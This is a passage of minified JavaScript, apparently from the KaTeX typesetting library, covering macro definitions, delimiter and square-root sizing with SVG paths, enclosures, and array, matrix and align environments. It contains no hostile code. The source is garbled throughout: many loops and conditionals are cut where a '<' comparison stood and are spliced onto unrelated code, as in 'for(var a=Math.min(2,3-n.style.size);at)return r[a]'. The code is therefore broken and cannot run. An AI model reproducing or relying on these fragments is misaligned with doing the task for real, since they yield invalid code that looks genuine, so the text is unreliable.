prefix",a)}}),nt({type:"internal",names:["\\def","\\gdef","\\edef","\\xdef"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,a=t.gullet.popToken(),i=a.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(i))throw new n("Expected a control sequence",a);for(var o,s=0,l=[[]];"{"!==t.gullet.future().text;)if("#"===(a=t.gullet.popToken()).text){if("{"===t.gullet.future().text){o=t.gullet.future(),l[s].push("{");break}if(a=t.gullet.popToken(),!/^[1-9]$/.test(a.text))throw new n('Invalid argument number "'+a.text+'"');if(parseInt(a.text)!==s+1)throw new n('Argument number "'+a.text+'" out of order');s++,l.push([])}else{if("EOF"===a.text)throw new n("Expected a macro definition");l[s].push(a.text)}var h=t.gullet.consumeArg().tokens;return o&&h.unshift(o),"\\edef"!==r&&"\\xdef"!==r||(h=t.gullet.expandTokens(h)).reverse(),t.gullet.macros.set(i,{tokens:h,numArgs:s,delimiters:l},r===Jt[r]),{type:"internal",mode:t.mode}}}),nt({type:"internal",names:["\\let","\\\\globallet"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,n=Qt(t.gullet.popToken());t.gullet.consumeSpaces();var a=function(e){var t=e.gullet.popToken();return"="===t.text&&" "===(t=e.gullet.popToken()).text&&(t=e.gullet.popToken()),t}(t);return er(t,n,a,"\\\\globallet"===r),{type:"internal",mode:t.mode}}}),nt({type:"internal",names:["\\futurelet","\\\\globalfuture"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,n=Qt(t.gullet.popToken()),a=t.gullet.popToken(),i=t.gullet.popToken();return er(t,n,i,"\\\\globalfuture"===r),t.gullet.pushToken(i),t.gullet.pushToken(a),{type:"internal",mode:t.mode}}});var tr=function(e,t,r){var n=V(X.math[e]&&X.math[e].replace||e,t,r);if(!n)throw new Error("Unsupported symbol "+e+" and font size "+t+".");return n},rr=function(e,t,r,n){var a=r.havingBaseStyle(t),i=je.makeSpan(n.concat(a.sizingClasses(r)),[e],r),o=a.sizeMultiplier/r.sizeMultiplier;return i.height*=o,i.depth*=o,i.maxFontSize=a.sizeMultiplier,i},nr=function(e,t,r){var n=t.havingBaseStyle(r),a=(1-t.sizeMultiplier/n.sizeMultiplier)*t.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=a+"em",e.height-=a,e.depth+=a},ar=function(e,t,r,n,a,i){var o=function(e,t,r,n){return je.makeSymbol(e,"Size"+t+"-Regular",r,n)}(e,t,a,n),s=rr(je.makeSpan(["delimsizing","size"+t],[o],n),b.TEXT,n,i);return r&&nr(s,n,b.TEXT),s},ir=function(e,t,r){var n;return n="Size1-Regular"===t?"delim-size1":"delim-size4",{type:"elem",elem:je.makeSpan(["delimsizinginner",n],[je.makeSpan([],[je.makeSymbol(e,t,r)])])}},or=function(e,t,r){var n=D["Size4-Regular"][e.charCodeAt(0)]?D["Size4-Regular"][e.charCodeAt(0)][4].toFixed(3):D["Size1-Regular"][e.charCodeAt(0)][4].toFixed(3),a=new E("inner",function(e,t){switch(e){case"\u239c":return"M291 0 H417 V"+t+" H291z M291 0 H417 V"+t+" H291z";case"\u2223":return"M145 0 H188 V"+t+" H145z M145 0 H188 V"+t+" H145z";case"\u2225":return"M145 0 H188 V"+t+" H145z M145 0 H188 V"+t+" H145zM367 0 H410 V"+t+" H367z M367 0 H410 V"+t+" H367z";case"\u239f":return"M457 0 H583 V"+t+" H457z M457 0 H583 V"+t+" H457z";case"\u23a2":return"M319 0 H403 V"+t+" H319z M319 0 H403 V"+t+" H319z";case"\u23a5":return"M263 0 H347 V"+t+" H263z M263 0 H347 V"+t+" H263z";case"\u23aa":return"M384 0 H504 V"+t+" H384z M384 0 H504 V"+t+" H384z";case"\u23d0":return"M312 0 H355 V"+t+" H312z M312 0 H355 V"+t+" H312z";case"\u2016":return"M257 0 H300 V"+t+" H257z M257 0 H300 V"+t+" H257zM478 0 H521 V"+t+" H478z M478 0 H521 V"+t+" H478z";default:return""}}(e,Math.round(1e3*t))),i=new O([a],{width:n+"em",height:t+"em",style:"width:"+n+"em",viewBox:"0 0 "+1e3*n+" "+Math.round(1e3*t),preserveAspectRatio:"xMinYMin"}),o=je.makeSvgSpan([],[i],r);return o.height=t,o.style.height=t+"em",o.style.width=n+"em",{type:"elem",elem:o}},sr={type:"kern",size:-.008},lr=["|","\\lvert","\\rvert","\\vert"],hr=["\\|","\\lVert","\\rVert","\\Vert"],mr=function(e,t,r,n,a,i){var o,s,h,m;o=h=m=e,s=null;var c="Size1-Regular";"\\uparrow"===e?h=m="\u23d0":"\\Uparrow"===e?h=m="\u2016":"\\downarrow"===e?o=h="\u23d0":"\\Downarrow"===e?o=h="\u2016":"\\updownarrow"===e?(o="\\uparrow",h="\u23d0",m="\\downarrow"):"\\Updownarrow"===e?(o="\\Uparrow",h="\u2016",m="\\Downarrow"):l.contains(lr,e)?h="\u2223":l.contains(hr,e)?h="\u2225":"["===e||"\\lbrack"===e?(o="\u23a1",h="\u23a2",m="\u23a3",c="Size4-Regular"):"]"===e||"\\rbrack"===e?(o="\u23a4",h="\u23a5",m="\u23a6",c="Size4-Regular"):"\\lfloor"===e||"\u230a"===e?(h=o="\u23a2",m="\u23a3",c="Size4-Regular"):"\\lceil"===e||"\u2308"===e?(o="\u23a1",h=m="\u23a2",c="Size4-Regular"):"\\rfloor"===e||"\u230b"===e?(h=o="\u23a5",m="\u23a6",c="Size4-Regular"):"\\rceil"===e||"\u2309"===e?(o="\u23a4",h=m="\u23a5",c="Size4-Regular"):"("===e||"\\lparen"===e?(o="\u239b",h="\u239c",m="\u239d",c="Size4-Regular"):")"===e||"\\rparen"===e?(o="\u239e",h="\u239f",m="\u23a0",c="Size4-Regular"):"\\{"===e||"\\lbrace"===e?(o="\u23a7",s="\u23a8",m="\u23a9",h="\u23aa",c="Size4-Regular"):"\\}"===e||"\\rbrace"===e?(o="\u23ab",s="\u23ac",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\lgroup"===e||"\u27ee"===e?(o="\u23a7",m="\u23a9",h="\u23aa",c="Size4-Regular"):"\\rgroup"===e||"\u27ef"===e?(o="\u23ab",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\lmoustache"===e||"\u23b0"===e?(o="\u23a7",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\rmoustache"!==e&&"\u23b1"!==e||(o="\u23ab",m="\u23a9",h="\u23aa",c="Size4-Regular");var u=tr(o,c,a),p=u.height+u.depth,d=tr(h,c,a),f=d.height+d.depth,g=tr(m,c,a),v=g.height+g.depth,y=0,x=1;if(null!==s){var w=tr(s,c,a);y=w.height+w.depth,x=2}var k=p+v+y,S=k+Math.max(0,Math.ceil((t-k)/(x*f)))*x*f,M=n.fontMetrics().axisHeight;r&&(M*=n.sizeMultiplier);var z=S/2-M,A=[];if(A.push(ir(m,c,a)),A.push(sr),null===s){var T=S-p-v+.016;A.push(or(h,T,n))}else{var B=(S-p-v-y)/2+.016;A.push(or(h,B,n)),A.push(sr),A.push(ir(s,c,a)),A.push(sr),A.push(or(h,B,n))}A.push(sr),A.push(ir(o,c,a));var N=n.havingBaseStyle(b.TEXT),q=je.makeVList({positionType:"bottom",positionData:z,children:A},N);return rr(je.makeSpan(["delimsizing","mult"],[q],N),b.TEXT,n,i)},cr=.08,ur=function(e,t,r,n,a){var i=function(e,t,r){t*=1e3;var n="";switch(e){case"sqrtMain":n=function(e,t){return"M95,"+(622+e+t)+"\nc-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14\nc0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54\nc44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10\ns173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429\nc69,-144,104.5,-217.7,106.5,-221\nl"+e/2.075+" -"+e+"\nc5.3,-9.3,12,-14,20,-14\nH400000v"+(40+e)+"H845.2724\ns-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7\nc-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z\nM"+(834+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize1":n=function(e,t){return"M263,"+(601+e+t)+"c0.7,0,18,39.7,52,119\nc34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120\nc340,-704.7,510.7,-1060.3,512,-1067\nl"+e/2.084+" -"+e+"\nc4.7,-7.3,11,-11,19,-11\nH40000v"+(40+e)+"H1012.3\ns-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232\nc-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1\ns-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26\nc-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z\nM"+(1001+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize2":n=function(e,t){return"M983 "+(10+e+t)+"\nl"+e/3.13+" -"+e+"\nc4,-6.7,10,-10,18,-10 H400000v"+(40+e)+"\nH1013.1s-83.4,268,-264.1,840c-180.7,572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7\ns-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744\nc-10,12,-21,25,-33,39s-32,39,-32,39c-6,-5.3,-15,-14,-27,-26s25,-30,25,-30\nc26.7,-32.7,52,-63,76,-91s52,-60,52,-60s208,722,208,722\nc56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,-658.5\nc53.7,-170.3,84.5,-266.8,92.5,-289.5z\nM"+(1001+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize3":n=function(e,t){return"M424,"+(2398+e+t)+"\nc-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514\nc0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20\ns-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121\ns209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081\nl"+e/4.223+" -"+e+"c4,-6.7,10,-10,18,-10 H400000\nv"+(40+e)+"H1014.6\ns-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185\nc-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2z M"+(1001+e)+" "+t+"\nh400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize4":n=function(e,t){return"M473,"+(2713+e+t)+"\nc339.3,-1799.3,509.3,-2700,510,-2702 l"+e/5.298+" -"+e+"\nc3.3,-7.3,9.3,-11,18,-11 H400000v"+(40+e)+"H1017.7\ns-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200\nc0,-1.3,-5.3,8.7,-16,30c-10.7,21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26\ns76,-153,76,-153s77,-151,77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104,\n606zM"+(1001+e)+" "+t+"h400000v"+(40+e)+"H1017.7z"}(t,k);break;case"sqrtTall":n=function(e,t,r){return"M702 "+(e+t)+"H400000"+(40+e)+"\nH742v"+(r-54-t-e)+"l-4 4-4 4c-.667.7 -2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1\nh-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170\nc-4-3.333-8.333-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667\n219 661 l218 661zM702 "+t+"H400000v"+(40+e)+"H742z"}(t,k,r)}return n}(e,n,r),o=new E(e,i),s=new O([o],{width:"400em",height:t+"em",viewBox:"0 0 400000 "+r,preserveAspectRatio:"xMinYMin slice"});return je.makeSvgSpan(["hide-tail"],[s],a)},pr=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230a","\u230b","\\lceil","\\rceil","\u2308","\u2309","\\surd"],dr=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27ee","\u27ef","\\lmoustache","\\rmoustache","\u23b0","\u23b1"],fr=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],gr=[0,1.2,1.8,2.4,3],vr=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],br=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"stack"}],yr=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],xr=function(e){if("small"===e.type)return"Main-Regular";if("large"===e.type)return"Size"+e.size+"-Regular";if("stack"===e.type)return"Size4-Regular";throw new Error("Add support for delim type '"+e.type+"' here.")},wr=function(e,t,r,n){for(var a=Math.min(2,3-n.style.size);at)return r[a]}return r[r.length-1]},kr=function(e,t,r,n,a,i){var o;"<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle"),o=l.contains(fr,e)?vr:l.contains(pr,e)?yr:br;var s=wr(e,t,o,n);return"small"===s.type?function(e,t,r,n,a,i){var o=je.makeSymbol(e,"Main-Regular",a,n),s=rr(o,t,n,i);return r&&nr(s,n,t),s}(e,s.style,r,n,a,i):"large"===s.type?ar(e,s.size,r,n,a,i):mr(e,t,r,n,a,i)},Sr=function(e,t){var r,n,a=t.havingBaseSizing(),i=wr("\\surd",e*a.sizeMultiplier,yr,a),o=a.sizeMultiplier,s=Math.max(0,t.minRuleThickness-t.fontMetrics().sqrtRuleThickness),l=0,h=0,m=0;return"small"===i.type?(e<1?o=1:e<1.4&&(o=.7),h=(1+s)/o,(r=ur("sqrtMain",l=(1+s+cr)/o,m=1e3+1e3*s+80,s,t)).style.minWidth="0.853em",n=.833/o):"large"===i.type?(m=1080*gr[i.size],h=(gr[i.size]+s)/o,l=(gr[i.size]+s+cr)/o,(r=ur("sqrtSize"+i.size,l,m,s,t)).style.minWidth="1.02em",n=1/o):(l=e+s+cr,h=e+s,m=Math.floor(1e3*e+s)+80,(r=ur("sqrtTall",l,m,s,t)).style.minWidth="0.742em",n=1.056),r.height=h,r.style.height=l+"em",{span:r,advanceWidth:n,ruleWidth:(t.fontMetrics().sqrtRuleThickness+s)*o}},Mr=function(e,t,r,a,i){if("<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle"),l.contains(pr,e)||l.contains(fr,e))return ar(e,t,!1,r,a,i);if(l.contains(dr,e))return mr(e,gr[t],!1,r,a,i);throw new n("Illegal delimiter: '"+e+"'")},zr=gr,Ar=kr,Tr=function(e,t,r,n,a,i){var o=n.fontMetrics().axisHeight*n.sizeMultiplier,s=5/n.fontMetrics().ptPerEm,l=Math.max(t-o,r+o),h=Math.max(l/500*901,2*l-s);return kr(e,h,!0,n,a,i)},Br={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},Nr=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230a","\u230b","\\lceil","\\rceil","\u2308","\u2309","<",">","\\langle","\u27e8","\\rangle","\u27e9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27ee","\u27ef","\\lmoustache","\\rmoustache","\u23b0","\u23b1","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];function qr(e,t){var r=Gt(e);if(r&&l.contains(Nr,r.text))return r;throw new n(r?"Invalid delimiter '"+r.text+"' after '"+t.funcName+"'":"Invalid delimiter type '"+e.type+"'",e)}function Cr(e){if(!e.body)throw new Error("Bug: The leftright ParseNode wasn't fully parsed.")}nt({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1,argTypes:["primitive"]},handler:function(e,t){var r=qr(t[0],e);return{type:"delimsizing",mode:e.parser.mode,size:Br[e.funcName].size,mclass:Br[e.funcName].mclass,delim:r.text}},htmlBuilder:function(e,t){return"."===e.delim?je.makeSpan([e.mclass]):Mr(e.delim,e.size,t,e.mode,[e.mclass])},mathmlBuilder:function(e){var t=[];"."!==e.delim&&t.push(zt(e.delim,e.mode));var r=new Mt.MathNode("mo",t);return"mopen"===e.mclass||"mclose"===e.mclass?r.setAttribute("fence","true"):r.setAttribute("fence","false"),r.setAttribute("stretchy","true"),r.setAttribute("minsize",zr[e.size]+"em"),r.setAttribute("maxsize",zr[e.size]+"em"),r}}),nt({type:"leftright-right",names:["\\right"],props:{numArgs:1,primitive:!0},handler:function(e,t){var r=e.parser.gullet.macros.get("\\current@color");if(r&&"string"!=typeof r)throw new n("\\current@color set to non-string in \\right");return{type:"leftright-right",mode:e.parser.mode,delim:qr(t[0],e).text,color:r}}}),nt({type:"leftright",names:["\\left"],props:{numArgs:1,primitive:!0},handler:function(e,t){var r=qr(t[0],e),n=e.parser;++n.leftrightDepth;var a=n.parseExpression(!1);--n.leftrightDepth,n.expect("\\right",!1);var i=Ft(n.parseFunction(),"leftright-right");return{type:"leftright",mode:n.mode,body:a,left:r.text,right:i.delim,rightColor:i.color}},htmlBuilder:function(e,t){Cr(e);for(var r,n,a=ut(e.body,t,!0,["mopen","mclose"]),i=0,o=0,s=!1,l=0;l-1?"mpadded":"menclose",[qt(e.body,t)]);switch(e.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\phase":n.setAttribute("notation","phasorangle");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\angl":n.setAttribute("notation","actuarial");break;case"\\fcolorbox":case"\\colorbox":if(r=t.fontMetrics().fboxsep*t.fontMetrics().ptPerEm,n.setAttribute("width","+"+2*r+"pt"),n.setAttribute("height","+"+2*r+"pt"),n.setAttribute("lspace",r+"pt"),n.setAttribute("voffset",r+"pt"),"\\fcolorbox"===e.label){var a=Math.max(t.fontMetrics().fboxrule,t.minRuleThickness);n.setAttribute("style","border: "+a+"em solid "+String(e.borderColor))}break;case"\\xcancel":n.setAttribute("notation","updiagonalstrike downdiagonalstrike")}return e.backgroundColor&&n.setAttribute("mathbackground",e.backgroundColor),n};nt({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,argTypes:["color","text"]},handler:function(e,t,r){var n=e.parser,a=e.funcName,i=Ft(t[0],"color-token").color,o=t[1];return{type:"enclose",mode:n.mode,label:a,backgroundColor:i,body:o}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,argTypes:["color","color","text"]},handler:function(e,t,r){var n=e.parser,a=e.funcName,i=Ft(t[0],"color-token").color,o=Ft(t[1],"color-token").color,s=t[2];return{type:"enclose",mode:n.mode,label:a,backgroundColor:o,borderColor:i,body:s}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\fbox"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!0},handler:function(e,t){return{type:"enclose",mode:e.parser.mode,label:"\\fbox",body:t[0]}}}),nt({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\phase"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"enclose",mode:r.mode,label:n,body:a}},htmlBuilder:Ir,mathmlBuilder:Rr}),nt({type:"enclose",names:["\\angl"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!1},handler:function(e,t){return{type:"enclose",mode:e.parser.mode,label:"\\angl",body:t[0]}}});var Or={};function Er(e){for(var t=e.type,r=e.names,n=e.props,a=e.handler,i=e.htmlBuilder,o=e.mathmlBuilder,s={type:t,numArgs:n.numArgs||0,allowedInText:!1,numOptionalArgs:0,handler:a},l=0;l1||!c)&&g.pop(),b.length0&&(x+=.25),m.push({pos:x,isDashed:e[t]})}for(w(o[0]),r=0;r0&&(M<(B+=y)&&(M=B),B=0),e.addJot&&(M+=f),z.height=S,z.depth=M,x+=S,z.pos=x,x+=M+B,h[r]=z,w(o[r+1])}var N,q,C=x/2+t.fontMetrics().axisHeight,I=e.cols||[],R=[],O=[];if(e.addEqnNum)for(r=0;r=s)){var G=void 0;(a>0||e.hskipBeforeAndAfter)&&0!==(G=l.deflt(D.pregap,p))&&((N=je.makeSpan(["arraycolsep"],[])).style.width=G+"em",R.push(N));var U=[];for(r=0;r0){for(var _=je.makeLineSpan("hline",t,c),j=je.makeLineSpan("hdashline",t,c),$=[{type:"elem",elem:h,shift:0}];m.length>0;){var Z=m.pop(),K=Z.pos-C;Z.isDashed?$.push({type:"elem",elem:j,shift:K}):$.push({type:"elem",elem:_,shift:K})}h=je.makeVList({positionType:"individualShift",children:$},t)}if(e.addEqnNum){var J=je.makeVList({positionType:"individualShift",children:O},t);return J=je.makeSpan(["tag"],[J],t),je.makeFragment([h,J])}return je.makeSpan(["mord"],[h],t)},Vr={c:"center ",l:"left ",r:"right "},Gr=function(e,t){for(var r=[],n=new Mt.MathNode("mtd",[],["mtr-glue"]),a=new Mt.MathNode("mtd",[],["mml-eqn-num"]),i=0;i0){var p=e.cols,d="",f=!1,g=0,v=p.length;"separator"===p[0].type&&(c+="top ",g=1),"separator"===p[p.length-1].type&&(c+="bottom ",v-=1);for(var b=g;b0?"left ":"",c+=S[S.length-1].length>0?"right ":"";for(var M=1;M-1?"alignat":"align",o=Dr(e.parser,{cols:a,addJot:!0,addEqnNum:"align"===e.envName||"alignat"===e.envName,emptySingleRow:!0,colSeparationType:i,maxNumCols:"split"===e.envName?2:void 0,leqno:e.parser.settings.leqno},"display"),s=0,l={type:"ordgroup",mode:e.mode,body:[]};if(t[0]&&"ordgroup"===t[0].type){for(var h="",m=0;m0&&c&&(d=1),a[u]={type:"align",align:p,pregap:d,postgap:0}}return o.colSeparationType=c?"align":"alignat",o};Er({type:"array",names:["array","darray"],props:{numArgs:1},handler:function(e,t){var r=(Gt(t[0])?[t[0]]:Ft(t[0],"ordgroup").body).map((function(e){var t=Vt(e).text;if(-1!=="lcr".indexOf(t))return{type:"align",align:t};if("|"===t)return{type:"separator",separator:"|"};if(":"===t)return{type:"separator",separator:":"};throw new n("Unknown column alignment: "+t,e)})),a={cols:r,hskipBeforeAndAfter:!0,maxNumCols:r.length};return Dr(e.parser,a,Pr(e.envName))},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix","matrix*","pmatrix*","bmatrix*","Bmatrix*","vmatrix*","Vmatrix*"],props:{numArgs:0},handler:function(e){var t={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[e.envName.replace("*","")],r="c",a={hskipBeforeAndAfter:!1,cols:[{type:"align",align:r}]};if("*"===e.envName.charAt(e.envName.length-1)){var i=e.parser;if(i.consumeSpaces(),"["===i.fetch().text){if(i.consume(),i.consumeSpaces(),r=i.fetch().text,-1==="lcr".indexOf(r))throw new n("Expected l or c or r",i.nextToken);i.consume(),i.consumeSpaces(),i.expect("]"),i.consume(),a.cols=[{type:"align",align:r}]}}var o=Dr(e.parser,a,Pr(e.envName)),s=Math.max.apply(Math,[0].concat(o.body.map((function(e){return e.length}))));return o.cols=new Array(s).fill({type:"align",align:r}),t?{type:"leftright",mode:e.mode,body:[o],left:t[0],right:t[1],rightColor:void 0}:o},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["smallmatrix"],props:{numArgs:0},handler:function(e){var t=Dr(e.parser,{arraystretch:.5},"script");return t.colSeparationType="small",t},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["subarray"],props:{numArgs:1},handler:function(e,t){var r=(Gt(t[0])?[t[0]]:Ft(t[0],"ordgroup").body).map((function(e){var t=Vt(e).text;if(-1!=="lc".indexOf(t))return{type:"align",align:t};throw new n("Unknown column alignment: "+t,e)}));if(r.length>1)throw new n("{subarray} can contain only one column");var a={cols:r,hskipBeforeAndAfter:!1,arraystretch:.5};if((a=Dr(e.parser,a,"script")).body.length>0&&a.body[0].length>1)throw new n("{subarray} can contain only one column");return a},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["cases","dcases","rcases","drcases"],props:{numArgs:0},handler:function(e){var t=Dr(e.parser,{arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]},Pr(e.envName));return{type:"leftright",mode:e.mode,body:[t],left:e.envName.indexOf("r")>-1?".":"\\{",right:e.envName.indexOf("r")>-1?"\\}":".",rightColor:void 0}},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["align","align*","aligned","split"],props:{numArgs:0},handler:Ur,htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["gathered","gather","gather*"],props:{numArgs:0},handler:function(e){l.contains(["gather","gather*"],e.envName)&&Lr(e);var t={cols:[{type:"align",align:"c"}],addJot:!0,colSeparationType:"gather",addEqnNum:"gather"===e.envName,emptySingleRow:!0,leqno:e.parser.settings.leqno};return Dr(e.parser,t,"display")},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["alignat","alignat*","alignedat"],props:{numArgs:1},handler:Ur,htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["equation","equation*"],props:{numArgs:0},handler:function(e){Lr(e);var t={addEqnNum:"equation"===e.envName,emptySingleRow:!0,singleRow:!0,maxNumCols:1,leqno:e.parser.settings.leqno};return Dr(e.parser,t,"display")},htmlBuilder:Fr,mathmlBuilder:Gr}),Er({type:"array",names:["CD"],props:{numArgs:0},handler:function(e){return Lr(e),function(e){var t=[];for(e.gullet.beginGroup(),e.gullet.macros.set("\\cr","\\\\\\relax"),e.gullet.beginGroup();;){t.push(e.parseExpression(!1,"\\\\")),e.gullet.endGroup(),e.gullet.beginGroup();var r=e.fetch().text;if("&"!==r&&"\\\\"!==r){if("\\end"===r){0===t[t.length-1].length&&t.pop();break}throw new n("Expected \\\\ or \\cr or \\end",e.nextToken)}e.consume()}for(var a,i,o=[],s=[o],l=0;l-1);else{if(!("<>AV".indexOf(u)>-1))throw new n('Expected one of "<>AV=|." after @',h[c]);for(var d=0;d<2;d++){for(var f=!0,g=c+1;g=b.SCRIPT.id?r.text():b.DISPLAY:"text"===e&&r.size===b.DISPLAY.size?r=b.TEXT:"script"===e?r=b.SCRIPT:"scriptscript"===e&&(r=b.SCRIPTSCRIPT),r},Qr=function(e,t){var r,n=Jr(e.size,t.style),a=n.fracNum(),i=n.fracDen();r=t.havingStyle(a);var o=bt(e.numer,r,t);if(e.continued){var s=8.5/t.fontMetrics().ptPerEm,l=3.5/t.fontMetrics().ptPerEm;o.height=o.height0?3*c:7*c,d=t.fontMetrics().denom1):(m>0?(u=t.fontMetrics().num2,p=c):(u=t.fontMetrics().num3,p=3*c),d=t.fontMetrics().denom2),h){var w=t.fontMetrics().axisHeight;u-o.depth-(w+.5*m)0&&(t="."===(t=e)?null:t),t};nt({type:"genfrac",names:["\\genfrac"],props:{numArgs:6,allowedInArgument:!0,argTypes:["math","math","size","text","math","math"]},handler:function(e,t){var r,n=e.parser,a=t[4],i=t[5],o=it(t[0]),s="atom"===o.type&&"open"===o.family?rn(o.text):null,l=it(t[1]),h="atom"===l.type&&"close"===l.family?rn(l.text):null,m=Ft(t[2],"size"),c=null;r=!!m.isBlank||(c=m.value).number>0;var 